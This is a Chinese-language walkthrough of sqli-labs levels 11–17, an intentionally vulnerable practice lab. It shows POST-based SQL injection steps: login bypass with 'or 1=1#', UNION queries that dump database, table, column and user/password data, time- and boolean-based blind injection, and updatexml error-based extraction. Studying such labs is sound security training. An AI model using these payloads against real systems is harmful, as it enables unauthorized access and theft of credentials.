sqli-labs通关攻略教程二(less 11~less-17)
2021/7/10 19:37:11
本文主要是介绍sqli-labs通关攻略教程二(less 11~less-17),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
sqli-labs通关攻略教程二(less 01-less-10)
less 11
- 与第一关相同的步骤。首先在
phpstudy
中打开网站根目录,在第一关的index.php
的文件中加入两行代码echo $sql; echo "<br>";
第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。 - 我们尝试输入用户名和密码均为
admin
,查看响应结果,我们发现用户名和密码在url中均看不见,说明为post请求进行传输。 - 我们将浏览器页面使用
burp
抓包进行分析,更加确定为post
请求。 - 将抓包得到用户名和密码的信息作为
hackbar
中post
请求的内容,查看页面响应的结果与第二步的响应结果相同。 - 修改post请求中用户名
admin
,在其后面添加一个单引号并查看响应结果。返回结果显示单引号处存在sql语法错误,证明存在sql注入漏洞,说明闭合方式为单引号。
- 删去
uname
,再次执行,查看响应结果依然报错
- 添加
or 1=1#
,返回结果显示执行成功 - 删除
admin
,查看结果同样响应执行正确
此处不能使用--+
,因为--+
主要使用在url
中,而在此处#是适用的 - 在sql注入的地方使用
order by
查询字段数,得到字段数为2 - 使用联合查询语句
union select 1,2
来确定回显的位置
union select 1,2 database()#
来查询数据库为security
- 其余的查询语句的步骤与前十关相同
select group_concat(schema_name) from information_schema.schemata; //查库 select group_concat(table_name) from information_schema.tables where table_schema='security' //查表 select group_concat(column_name) from information_schema.columns where table_name='users'; //查列 select group_concat(username) from security.users; //查字段 select group_concat(password) from security.users; select group_concat(concat ws(0x7e,username,password)) from security.users //0x7e表示~的十六进制
less 12
- 与第一关相同的步骤。首先在
phpstudy
中打开网站根目录,在第一关的index.php
的文件中加入两行代码echo $sql; echo "<br>";
第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。 - 与第一关的区别在于闭合方式的不同,这一关为闭合方式为
")
,第十关的闭合方式为'
。
3. 常见的闭合方式
' ') ')) " ") "))
判断闭合方式可以通过手工注入测试,也可以通过使用burp
抓包进行暴力破解。
less 13
- 与第一关相同的步骤。首先在
phpstudy
中打开网站根目录,在第一关的index.php
的文件中加入两行代码echo $sql; echo "<br>";
第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。 - 本关闭合方式为
')
,但我们并未发现其他的回显语句。
- 使用
select
查询语句也无法获得相关的回显
因此需要使用盲注的方法。
在命令行中if left
等函数前需要添加select,但在做题中直接添加在or
语句后面即可
select if(length(database()>1),1,sleep(5)) //正确情况下返回1,否则延迟五秒返回0 //判断数据库长度 select left(database(),1) //left(a,b)从左侧截取a的前b位,正确返回1,错误则返回0。 或者 or left((select schema_name from information_schema.schemata limit 0,1),1)>'a' //判断数据库的第一个字母是否大于字符a 或者同时使用burp对字符a到z进行暴力破解 使用select语句查询表、列、字段
less 14
- 与第一关相同的步骤。首先在
phpstudy
中打开网站根目录,在第一关的index.php
的文件中加入两行代码echo $sql; echo "<br>";
第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。 - 输入用户名和密码,查看响应结果,与上一关相同,依然没有回显
- 我们由响应结果分析得到本关的闭合方式为
"
,其余步骤与第十三关的思路相同。
less 15
- 与第一关相同的步骤。首先在
phpstudy
中打开网站根目录,在第一关的index.php
的文件中加入两行代码echo $sql; echo "<br>";
第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。 - 输入用户名
admin
和密码admin
,查看页面响应结果没有回显。 - 分析响应结果本关的闭合方式为
'
,其余思路与十三、十四关的盲注思路相同。
less 16
- 与第一关相同的步骤。首先在
phpstudy
中打开网站根目录,在第一关的index.php
的文件中加入两行代码echo $sql; echo "<br>";
第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。 - 输入用户名和密码,响应结果依然没有回显
- 本关的闭合方式为
")
,其余思路与十三、十四、十五关的盲注思路相同。
总结:
十三关:') 十四关:" 十五关:' 十六关:")
补充知识
UPDATEXML(XML_doucument,XPath_string,new_value)
第一个参数:XML_doucument
是string
格式,为XML
文档对象的名称,如doc
第二个参数:XPath_string
(XPath
格式的字符串)
第三个参数:new_value
,string
格式,替换查找到的符合条件的数据
作用:1. 改变文档中符合条件的节点的值
2. 改变XML_document
中符合XPath_string
的值
注入语句:
select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1)
其中concat()函数是将其连成一个字符串,因此不会符合XPath_string
的格式,从而出现格式错误,爆出
ERROR 1105(HY000):XPATH syntax error:'~Dumb~'
less 17
- 与第一关相同的步骤。首先在
phpstudy
中打开网站根目录,在第一关的index.php
的文件中加入两行代码echo $sql; echo "<br>";
第一句意思是将我们构造的sql语句进行输出,第二句意思为换行符,方便我们浏览。在密码下面也应当输入这两行代码echo $updata; echo "<br>";
,将密码进行回显。 - 输入用户名和密码,发现密码被更新。
- 使用burp抓包修改POST请求,尝试将
uname
闭合,查看回显结果,字符被转义,则考虑对passwd
进行尝试 - 添加单引号和注释符号之后,我们查看回显结果并未转义且登录成功,则在此处进行sql注入
select updatexml(1,concat(0x7e,(构造语句)),1) //构造语句可用前面的查库、查表、查列、查字段的语句
使用查库等语句时后面应该添加limit a,b
,即为取从第a
个开始的b
个内容。
这篇关于sqli-labs通关攻略教程二(less 11~less-17)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-23Springboot应用的多环境打包入门
- 2024-11-23Springboot应用的生产发布入门教程
- 2024-11-23Python编程入门指南
- 2024-11-23Java创业入门:从零开始的编程之旅
- 2024-11-23Java创业入门:新手必读的Java编程与创业指南
- 2024-11-23Java对接阿里云智能语音服务入门详解
- 2024-11-23Java对接阿里云智能语音服务入门教程
- 2024-11-23JAVA对接阿里云智能语音服务入门教程
- 2024-11-23Java副业入门:初学者的简单教程
- 2024-11-23JAVA副业入门:初学者的实战指南